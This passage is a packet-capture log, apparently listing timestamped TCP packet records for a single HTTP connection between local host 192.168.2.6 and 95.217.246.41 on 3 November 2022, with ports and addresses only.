Nov 3, 2022 12:47:20.702325106 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702352047 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702366114 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702383995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702384949 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702409983 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702433109 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702439070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702452898 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702471018 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702498913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702501059 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702521086 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702527046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702541113 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702564001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702570915 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702588081 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702608109 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702614069 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702634096 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702641010 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702668905 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702681065 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702694893 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702702999 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702718973 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702723980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702737093 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702754021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702764034 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702784061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702800035 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702814102 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702842951 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702850103 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702867031 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702872992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702914000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.702969074 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.702984095 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703039885 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703058004 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703073025 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703099966 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703103065 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703121901 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703128099 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703155041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703155994 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703180075 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703183889 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703206062 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703212023 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703227043 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703239918 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703248978 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703265905 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703290939 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703294039 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703316927 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703319073 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703345060 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703352928 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703367949 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703372955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703393936 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703393936 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703423023 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703424931 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703434944 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703448057 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703474045 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703484058 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703500986 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703504086 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703527927 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.703530073 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703597069 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.703597069 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.713274002 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.713701010 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.736896992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.736960888 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.737066031 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.737066031 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.737962008 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.738004923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.738043070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.738048077 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.738066912 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.738084078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.738094091 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.738118887 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.738126040 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.738178968 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.741806030 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.741852999 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.741888046 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.741894960 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.741909027 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.741938114 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.741940975 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.741981030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.741981983 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742027044 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742060900 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742070913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742073059 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742115021 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742115021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742156029 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742158890 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742206097 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742206097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742255926 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742271900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742331982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742337942 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742399931 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742405891 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742448092 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742460012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742507935 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742522001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742564917 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742585897 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742635965 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742649078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742703915 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742712975 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742764950 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742769957 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742813110 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742815018 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742855072 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742856979 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742898941 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.742947102 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.742999077 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743001938 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743040085 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743041039 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743083000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743087053 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743129969 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743133068 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743176937 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743176937 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743216038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743218899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743258953 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743262053 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743304014 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743304968 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743345022 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743345976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743386984 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743390083 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743428946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743429899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743473053 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743474007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743513107 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743515968 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743554115 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.743555069 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.743596077 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744299889 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744343996 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744385958 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744395018 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744429111 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744436979 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744450092 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744489908 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744498968 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744535923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744544029 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744575977 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744580030 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744621992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744628906 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744663000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744663000 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744705915 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744724989 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744767904 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744832039 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744874001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744878054 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744925976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.744934082 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744962931 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.744993925 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745006084 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745026112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745057106 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745066881 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745099068 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745166063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745170116 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745170116 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745209932 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745220900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745261908 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745271921 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745304108 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745306969 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745348930 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745357037 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745390892 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745424032 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745456934 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745490074 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745523930 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745558023 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745599031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745610952 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745631933 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745646000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745681047 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745696068 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745732069 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745743990 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745791912 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745803118 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745850086 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745857954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745898962 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745922089 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.745970011 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.745974064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746031046 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746032953 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746084929 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746126890 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746140957 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746148109 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746192932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746196985 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746232986 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746237040 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746277094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746279001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746318102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746320963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746365070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746367931 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746406078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746407032 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746447086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746450901 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746489048 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746516943 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746536016 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746553898 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746594906 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746603966 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746644974 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746645927 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746689081 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746691942 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746731043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746735096 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746773005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746778011 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746819019 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746823072 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746874094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746926069 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.746979952 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.746993065 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747042894 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747052908 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747102022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747117996 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747164011 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747179031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747226000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747229099 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747271061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747306108 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747343063 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747354984 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747370005 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747394085 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747400045 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747442961 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747445107 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747486115 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747488976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747528076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747533083 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747570038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747569084 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747611046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747612000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747653961 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747654915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747699022 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747700930 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747740984 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747745991 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747781992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747786999 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747823954 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747823954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747868061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747875929 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747910023 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747910976 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747953892 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.747955084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747993946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.747997999 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748042107 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748047113 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748085976 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748089075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748131037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748136997 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748179913 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748193026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748239994 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748254061 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748289108 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748318911 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748332977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748368025 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748378038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748378992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748424053 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748425961 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748470068 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748471022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748512030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748517036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.748560905 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.748564959 CET	80	49708	95.217.246.41	192.168.2.6
